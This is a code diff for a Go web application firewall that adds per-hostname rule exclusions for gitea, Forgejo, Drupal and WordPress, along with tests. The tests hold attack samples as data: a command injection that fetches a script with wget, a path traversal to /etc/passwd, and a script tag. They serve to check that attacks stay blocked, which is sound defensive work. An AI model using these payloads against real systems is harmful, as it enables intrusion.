+//nolint:gochecknoglobals // a constant cannot be a list
+var giteaFixed = []struct {
+	request request
+	result  coreruleset.Result
+}{
+	// A search of code, on the path of gitea's search.
+	{
+		get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"),
+		matched(942100),
+	},
+	// A file name, in a parameter gitea sends names in, on any path.
+	{get("/?path=.gitignore"), matched(930120)},
+	// A file name, in a cookie of gitea's.
+	{
+		get(
+			"/owner/repo",
+			"Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted",
+		),
+		matched(930120),
+	},
+	// A page opened from the page of a file named for a Java class.
+	{
+		get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+
+			"java.lang.String.md"),
+		matched(944130),
+	},
+	// An image push that reuses a layer, naming the image the layer comes from.
+	{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
+}
+
+// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
+// one that serves another app.
+const (
+	giteaHost = "git.example"
+	otherHost = "blog.example"
+)
+
+// gitea is gitea's name in SWW_APPS.
+const gitea = "gitea"
+
+// wordpress is WordPress's name in SWW_APPS.
+const wordpress = "wordpress"
+
+// withHost returns r sent to host.
+func withHost(r request, host string) request {
+	return request{
+		r.method,
+		r.target,
+		append([]string{"Host: " + host}, r.headers...),
+	}
+}
+
+// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
+// giving apps.
+func servingApps(
+	t *testing.T,
+	apps map[string][]string,
+) *coreruleset.CoreRuleSet {
+	t.Helper()
+
+	return shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
+	})
+}
+
+func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, nil)
+
+	for _, fixed := range giteaFixed {
+		for _, host := range []string{giteaHost, otherHost} {
+			wantResult(
+				t,
+				crs,
+				withHost(fixed.request, host),
+				coreruleset.Result{},
+			)
+		}
+	}
+}
+
+func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
+
+	// The hostname is matched without the port and without regard to case.
+	for _, host := range []string{giteaHost, "GIT.Example:8443"} {
+		for _, fixed := range giteaFixed {
+			wantResult(
+				t,
+				crs,
+				withHost(fixed.request, host),
+				coreruleset.Result{},
+			)
+		}
+	}
+}
+
+func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
+	t.Parallel()
+
+	for _, apps := range []map[string][]string{
+		{giteaHost: {gitea}},
+		// SWW_APPS set empty lists no hostname.
+		{},
+	} {
+		crs := servingApps(t, apps)
+
+		for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
+			for _, fixed := range giteaFixed {
+				wantResult(
+					t,
+					crs,
+					withHost(fixed.request, host),
+					fixed.result,
+				)
+			}
+		}
+	}
+}
+
+func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {wordpress},
+	})
+
+	// A search, which only WordPress's fixes let through.
+	search := get("/?s=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
+
+	// A file name that only gitea's fixes let through, and a search that only
+	// WordPress's fixes let through.
+	for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
+		wantResult(
+			t,
+			crs,
+			withHost(get(target), giteaHost),
+			coreruleset.Result{},
+		)
+	}
+}
+
 // withExclusions returns the Core Rule Set at the defaults, with the
 // exclusions file at path.
 func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -752,11 +915,15 @@ const passwordKey = "password"
 // retypeKey is the field in which apps take the same password again.
 const retypeKey = "retype"
 
+// htaccess is the name of a web server's settings file, which the list of
+// system files (930120) holds.
+const htaccess = ".htaccess"
+
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
+var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
 
 // randomPassword returns a password of 20 characters, each one of the 95
 // printable ASCII characters, space included, drawn from random.
@@ -1481,7 +1648,7 @@ func wordpressWords() []struct {
 		value string
 		rule  int
 	}{
-		{".htaccess", 930120},
+		{htaccess, 930120},
 		{"powershell", 932120},
 		{"ls -la", 932250},
 		{"python3", 932260},
@@ -2154,6 +2321,9 @@ const scriptTag = "<script>alert(1)</script>"
 // pathTraversal is a path traversal, not escaped.
 const pathTraversal = "../../etc/passwd"
 
+// shellCommand is commandInjection, not escaped.
+const shellCommand = "; wget http://example.com/x.sh"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -2423,6 +2593,222 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
 	)
 }
 
+// nameInBody is a name gitea or Forgejo sends in field of a body to path.
+// contentType is formData or jsonBody.
+type nameInBody struct{ path, contentType, field, name string }
+
+// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
+// skips the rules that refused them there: a file's path or text, a commit's
+// summary or message, and the branch names of giteaBranchNamesInBodies.
+func giteaNamesInBodies() []nameInBody {
+	const (
+		repo = "/alice/tools"
+		api  = "/api/v1/repos/alice/tools"
+
+		// Fields that several paths send.
+		treePath      = "tree_path"
+		commitSummary = "commit_summary"
+		message       = "message"
+	)
+
+	// A file's path or text, or a commit's summary or message.
+	texts := []nameInBody{
+		{
+			repo + "/_edit/main/compose.yml",
+			formData,
+			treePath,
+			"docker-compose.yml",
+		},
+		{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
+		{
+			repo + "/_edit/main/scripts/install-script.sh", formData,
+			treePath, "scripts/install-script.sh",
+		},
+		{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
+		{
+			repo + "/_delete/main/.htaccess",
+			formData,
+			commitSummary,
+			"Remove .htaccess",
+		},
+		{
+			repo + "/_new/main/",
+			formData,
+			"content",
+			"# Setup\r\n\r\nInstall the tools.\r\n",
+		},
+		{
+			repo + "/_preview/main/docs/setup.md",
+			formData,
+			"content",
+			"# Setup\r\n\r\nInstall the tools.\r\n",
+		},
+		{
+			repo + "/_upload/main/scripts/powershell",
+			formData,
+			treePath,
+			"scripts/powershell",
+		},
+		{
+			repo + "/_upload/main/scripts/powershell", formData,
+			commitSummary, "Add a PowerShell build script",
+		},
+		{
+			repo + "/_cherrypick/6b02ec9/main",
+			formData,
+			commitSummary,
+			"Document .htaccess",
+		},
+		{
+			api + "/contents/scripts/powershell-build.ps1", jsonBody,
+			message, "Add a PowerShell build script",
+		},
+		{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
+		{
+			api + "/contents",
+			jsonBody,
+			message,
+			"Add the PowerShell setup notes",
+		},
+		{api + "/contents", jsonBody, message, "Document .htaccess"},
+	}
+
+	return slices.Concat(texts, giteaBranchNamesInBodies())
+}
+
+// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in
+// a body field that skips the rules that refused them there. Each field comes
+// with a name for each rule it skips: feat/docker-support for the command
+// names (932260), and fix-powershell-module for the Windows commands (932120).
+func giteaBranchNamesInBodies() []nameInBody {
+	const (
+		repo = "/alice/tools"
+		api  = "/api/v1/repos/alice/tools"
+
+		// Fields that several paths send.
+		branch        = "branch"
+		newBranchName = "new_branch_name"
+	)
+
+	branchFields := []struct{ path, contentType, field string }{
+		{repo + "/_edit/main/compose.yml", formData, newBranchName},
+		{repo + "/_new/main/", formData, newBranchName},
+		{repo + "/_delete/main/.htaccess", formData, newBranchName},
+		{repo + "/_upload/main/docs", formData, newBranchName},
+		{repo + "/_diffpatch/main/", formData, newBranchName},
+		{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
+		{repo + "/branches/_new/branch/main", formData, newBranchName},
+		{repo + "/branches/rename", formData, "from"},
+		{repo + "/branches/rename", formData, "to"},
+		// Forgejo's path for renaming a branch.
+		{repo + "/settings/rename_branch", formData, "from"},
+		{repo + "/settings/rename_branch", formData, "to"},
+		{api + "/branches", jsonBody, newBranchName},
+		{api + "/branches", jsonBody, "old_branch_name"},
+		{api + "/branches", jsonBody, "old_ref_name"},
+		{api + "/pulls", jsonBody, "head"},
+		{api + "/pulls", jsonBody, "base"},
+		{api + "/pulls/1", jsonBody, "base"},
+		{api + "/contents/docs/notes.md", jsonBody, branch},
+		{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
+		{api + "/contents", jsonBody, branch},
+		{api + "/contents", jsonBody, "new_branch"},
+	}
+
+	branchNames := []string{"feat/docker-support", "fix-powershell-module"}
+
+	names := make([]nameInBody, 0, len(branchFields)*len(branchNames))
+
+	for _, f := range branchFields {
+		for _, name := range branchNames {
+			names = append(
+				names,
+				nameInBody{f.path, f.contentType, f.field, name},
+			)
+		}
+	}
+
+	return names
+}
+
+// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
+// gitea and Forgejo name a file or a branch. Each lets through the name that
+// was refused there, and still refuses a shell command after a ";" and a path
+// traversal. The same name is still refused in another field on the same path,
+// and in the field itself when the query has a parameter of the field's name.
+func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := readingBodies(t)
+
+	for _, tc := range giteaNamesInBodies() {
+		r := request{http.MethodPost, tc.path, []string{tc.contentType}}
+
+		body := func(field, value string) string {
+			if tc.contentType == formData {
+				return field + "=" + url.QueryEscape(value)
+			}
+
+			quoted, err := json.Marshal(map[string]string{field: value})
+			if err != nil {
+				t.Fatal(err)
+			}
+
+			return string(quoted)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
+			t.Errorf(
+				"%s %s=%q refused: %+v",
+				tc.path,
+				tc.field,
+				tc.name,
+				got,
+			)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
+			t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
+		}
+
+		param := tc.field
+		if tc.contentType == jsonBody {
+			param = "json." + tc.field
+		}
+
+		queried := request{
+			http.MethodPost,
+			tc.path + "?" + param + "=x",
+			r.headers,
+		}
+
+		got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
+		if got.Score < threshold {
+			t.Errorf(
+				"%s %s=%q let through: %+v",
+				queried.target,
+				tc.field,
+				tc.name,
+				got,
+			)
+		}
+
+		for _, attack := range []string{shellCommand, pathTraversal} {
+			if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
+				t.Errorf(
+					"%s %s=%q let through: %+v",
+					tc.path,
+					tc.field,
+					attack,
+					got,
+				)
+			}
+		}
+	}
+}
+
 func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/drupal.conf

@@ -1,4 +1,4 @@
-# The tenth change: on Drupal's paths, some fields skip the rules that refused
+# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
 # ordinary Drupal requests there. They are the fields where Drupal sends a
 # search, a name, a file name or an address. Each exclusion runs with the
 # request, before the rules it switches off, so this file is loaded before the
@@ -25,6 +25,13 @@
 #   932230: ls -la
 #   932235: python3
 
+# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
+# while SWW_APPS is unset, or lists drupal for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_drupal itself.
+SecRule &TX:app_drupal "@eq 0" \
+    "id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
+
 # Every admin page's filters and autocompletes, and the page to return to:
 #   title: /admin/content?title=python3
 #   name: /admin/content/media?name=python3
@@ -323,3 +330,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
     SecRule &ARGS_GET:json.mail "@eq 0" \
         "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
         ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
+
+SecMarker END_DRUPAL

internal/coreruleset/drupal_test.go

@@ -5,6 +5,8 @@ import (
 	"net/url"
 	"slices"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -37,6 +39,20 @@ const drupalEditAccount = "/user/2/edit"
 // drupalName is the field for a person's name, as the start of a form body.
 const drupalName = "name="
 
+func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"drupal"},
+	})
+
+	// A search, which only Drupal's fixes let through.
+	search := get("/search?keys=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
 // drupalAttacks are an SQL injection, a path traversal and a script
 // injection, as a query value.
 //
@@ -243,7 +259,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	for _, attack := range []string{
 		injection,
 		scriptTag,
-		`; wget http://example.com/x.sh`,
+		shellCommand,
 		`../../sites/default/settings.php`,
 	} {
 		for _, field := range []string{"name", "mail"} {

internal/coreruleset/forgejo.conf

@@ -1,9 +1,16 @@
-# The fifteenth change: on Forgejo's paths, some fields skip the rules that
+# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
-# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
+# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
-# eighth change's fixes for gitea apply to its requests too, so this file holds
+# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
-# only what Forgejo sends and gitea does not. Each exclusion runs with the
+# sends and gitea does not. Each exclusion runs with the request, before the
-# request, before the rules it switches off, so this file is loaded before the
+# rules it switches off, so this file is loaded before the Core Rule Set's
-# Core Rule Set's rules. Each comment names a request the rule refused.
+# rules. Each comment names a request the rule refused.
+
+# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
+# while SWW_APPS is unset, or lists forgejo for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_forgejo itself.
+SecRule &TX:app_forgejo "@eq 0" \
+    "id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
 
 # Forgejo's search of a wiki sends the text searched for in q, which skips
 # these rules there:
@@ -115,3 +122,24 @@ SecRule REQUEST_FILENAME \
     ctl:ruleRemoveTargetById=932120;ARGS:q,\
     ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# Forgejo's admin page searches the names of repositories in q on /admin/repos,
+# which skips the list of command names (932260) there. It refused python3.
+SecRule REQUEST_FILENAME "@streq /admin/repos" \
+    "id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# Forgejo renames a branch on its own path, where from and to name branches.
+# They skip these rules:
+#   932120: fix-powershell-module
+#   932260: feat/docker-support
+# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
+# query has a parameter of the same name.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
+    "id:900666,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:from,\
+        ctl:ruleRemoveTargetById=932260;ARGS:from,\
+        ctl:ruleRemoveTargetById=932120;ARGS:to,\
+        ctl:ruleRemoveTargetById=932260;ARGS:to"
+
+SecMarker END_FORGEJO

internal/coreruleset/forgejo_test.go

@@ -4,13 +4,66 @@ import (
 	"net/http"
 	"slices"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
+// forgejo is Forgejo's name in SWW_APPS.
+const forgejo = "forgejo"
+
+// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
+const forgejoHost = "code.example"
+
+func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		forgejoHost: {forgejo}, otherHost: {wordpress},
+	})
+
+	// A search of a wiki, a search of the admin page, and a file name in
+	// Forgejo's flash cookie, which only Forgejo's fixes let through.
+	for _, fixed := range []struct {
+		request request
+		result  coreruleset.Result
+	}{
+		{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
+		{get("/admin/repos?q=python3"), matched(932260)},
+		{
+			get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
+			matched(930120),
+		},
+	} {
+		wantResult(
+			t,
+			crs,
+			withHost(fixed.request, forgejoHost),
+			coreruleset.Result{},
+		)
+		wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
+	}
+}
+
+func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
+
+	for _, fixed := range giteaFixed {
+		wantResult(
+			t,
+			crs,
+			withHost(fixed.request, forgejoHost),
+			coreruleset.Result{},
+		)
+	}
+}
+
 // forgejoSearches are Forgejo's searches whose q skips some rules: those of
-// a wiki, of releases and of a job's log, from the fifteenth change, and the
+// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
-// searches for a name, from the eighth. The search of code at a branch or tag
+// fixes, and the searches for a name, from gitea's. The search of code at a
-// is not one of them: there, as on gitea's search of code, q lets these
+// branch or tag is not one of them: there, as on gitea's search of code, q
-// attacks through.
+// lets these attacks through.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var forgejoSearches = []string{
@@ -18,6 +71,7 @@ var forgejoSearches = []string{
 	"/alice/tools/releases",
 	"/api/v1/repos/alice/tools/releases",
 	"/api/v1/repos/alice/tools/actions/jobs/1/logs",
+	"/admin/repos",
 	"/explore/repos",
 	"/explore/users",
 	"/alice/tools/branches",
@@ -63,11 +117,11 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	// /bin/sh and the hard values, which q lets through on the searches of
+	// /bin/sh and the hard values, which q lets through on the searches
-	// the fifteenth change and on those of branches and packages, stay
+	// named in Forgejo's fixes and on those of branches and packages, stay
 	// refused in q on paths near them and in another field on them.
 	// /alice/wiki/search would be the code search of a repository named
-	// wiki, where the eighth change lets q through. Forgejo has no owner
+	// wiki, where gitea's fixes let q through. Forgejo has no owner
 	// named api, so the paths under /api/ here are not searches.
 	for _, target := range []string{
 		"/alice/tools/wiki/Home?q=",

internal/coreruleset/gitea.conf

@@ -1,8 +1,56 @@
-# The eighth change: on gitea's paths, some fields skip the rules that refused
+# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
-# ordinary gitea requests there. They are the fields where gitea sends a search,
+# They are the fields where gitea sends a search, a file's name or text, a
-# a file name or a branch name. Each exclusion runs with the request, before the
+# commit message, a branch name or a repository's name. Each exclusion runs with
-# rules it switches off, those of phase 1 included, so this file is loaded before
+# the request, before the rules it switches off, those of phase 1 included, so
-# the Core Rule Set's rules. Each comment names a request the rule refused.
+# this file is loaded before the Core Rule Set's rules. Each comment names a
+# request the rule refused.
+
+# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
+# while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_gitea itself.
+SecRule &TX:app_gitea "@eq 0" \
+    "id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
+
+# The query parameters in which gitea sends names within a repository or its
+# own records, or a page of its own site, are not checked against the lists of
+# system files, shell paths and command names, on any path:
+#   930120: .gitignore
+#   932160: bin/docker-entrypoint
+#   932260: docker-build
+# ARGS holds the fields of a form data or multipart body Coraza reads as well
+# as the query parameters, so a field of these names is left out too.
+SecAction "id:900591,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:path,\
+    ctl:ruleRemoveTargetById=930120;ARGS:files,\
+    ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=930120;ARGS:ref,\
+    ctl:ruleRemoveTargetById=930120;ARGS:sha,\
+    ctl:ruleRemoveTargetById=930120;ARGS:branch,\
+    ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
+    ctl:ruleRemoveTargetById=932160;ARGS:path,\
+    ctl:ruleRemoveTargetById=932160;ARGS:files,\
+    ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=932160;ARGS:ref,\
+    ctl:ruleRemoveTargetById=932160;ARGS:sha,\
+    ctl:ruleRemoveTargetById=932160;ARGS:branch,\
+    ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
+    ctl:ruleRemoveTargetById=932260;ARGS:path,\
+    ctl:ruleRemoveTargetById=932260;ARGS:files,\
+    ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=932260;ARGS:ref,\
+    ctl:ruleRemoveTargetById=932260;ARGS:sha,\
+    ctl:ruleRemoveTargetById=932260;ARGS:branch,\
+    ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
 
 # gitea's searches of code, of issues and pull requests, and of commits send the
 # text searched for in q, which skips these rules there:
@@ -225,8 +273,8 @@ SecRule REQUEST_FILENAME \
 #   942140: information_schema.sql
 #   944110: java/lang/Runtime.java
 #   944130: java.lang.String.md
-# Each request skips the rules that refused it. The fourth change already has
+# Each request skips the rules that refused it. Rule 900591 already has path and
-# path and redirect_to skip 930120, 932160 and 932260 on every path.
+# redirect_to skip 930120, 932160 and 932260 on every path.
 
 # A file's commit graph, in file.
 SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -345,6 +393,91 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
 SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
     "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
 
+# The requests below name a file or a branch in a body field, which is read only
+# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
+# Each field below that names a branch skips these rules:
+#   932120: fix-powershell-module
+#   932260: feat/docker-support
+# None applies when the query has a parameter of the same name.
+
+# The web editor's save, new file, delete, upload, patch, cherry-pick and
+# preview. The file's path, in tree_path, skips these rules:
+#   930120: .htaccess
+#   932120: scripts/install-script.sh
+#   932260: docker-compose.yml
+# The commit's summary, in commit_summary, skips these rules:
+#   930120: Remove .htaccess
+#   932120: Remove scripts/install-script.sh
+# The file's text or the patch, in content, skips one rule:
+#   932235: a line that starts with install
+# A new branch for the commit is named in new_branch_name.
+SecRule REQUEST_FILENAME \
+    "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
+    "id:900660,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
+        ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
+        ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
+        ctl:ruleRemoveTargetById=932235;ARGS:content,\
+        ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
+
+# A branch created on the web, in new_branch_name.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
+    "id:900661,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:new_branch_name "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
+
+# A branch renamed on the web, in from and to.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
+    "id:900662,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:from,\
+        ctl:ruleRemoveTargetById=932260;ARGS:from,\
+        ctl:ruleRemoveTargetById=932120;ARGS:to,\
+        ctl:ruleRemoveTargetById=932260;ARGS:to"
+
+# A branch created through the API, in new_branch_name. It starts from the
+# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
+    "id:900663,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.old_branch_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.old_branch_name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.old_ref_name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.old_ref_name"
+
+# A pull request opened through the API, from the branch in head into the
+# branch in base.
+# An edit of one sends its new target branch in base.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$" \
+    "id:900664,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:head|base)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.head,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.head,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.base,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.base"
+
+# One file or several created, changed or deleted through the API, on the branch
+# in branch. A new branch for the commit is named in new_branch. The commit's
+# message, in message, skips these rules:
+#   930120: Remove .htaccess
+#   932120: Add a PowerShell build script
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents(?:/|$)" \
+    "id:900665,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:branch|new_branch|message)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=932120;ARGS:json.branch,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.branch,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.new_branch,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch,\
+        ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.message"
+
 # An artifact upload from actions/upload-artifact@v3 sends the header
 # Content-Range, which the Core Rule Set refused (920450).
 SecRule REQUEST_FILENAME \
@@ -352,6 +485,25 @@ SecRule REQUEST_FILENAME \
     "id:900640,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
 
+# The forms that adopt or delete an unadopted repository send its name in id.
+# The admin forms put its owner in front, as alice/python3-app. id skips these
+# rules there:
+#   930120: alice/.profile
+#   932120: alice/powershell-scripts
+#   932160: robin/assets, which holds bin/as
+#   932260: alice/python3-app
+# The forms post to these paths:
+#   /-/admin/repos/unadopted: gitea's admin form
+#   /admin/repos/unadopted: Forgejo's admin form
+#   /user/settings/repos/unadopted: the form in a user's settings, on both
+SecRule REQUEST_FILENAME \
+    "@rx ^/(?:(?:-/)?admin|user/settings)/repos/unadopted$" \
+    "id:900645,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:id,\
+    ctl:ruleRemoveTargetById=932120;ARGS:id,\
+    ctl:ruleRemoveTargetById=932160;ARGS:id,\
+    ctl:ruleRemoveTargetById=932260;ARGS:id"
+
 # The passwords skip each rule that random passwords set off:
 #   password: signing in, signing up, linking an account, activating an account,
 #   resetting or changing the password, deleting an account, and creating or
@@ -398,3 +550,16 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
         ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
         ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
         ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
+
+# Referer skips the rule on Java class names (944130). It refused every page
+# opened from the page of java.lang.String.md.
+SecAction "id:900641,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
+
+# A container image push that reuses a layer names the image it takes the layer
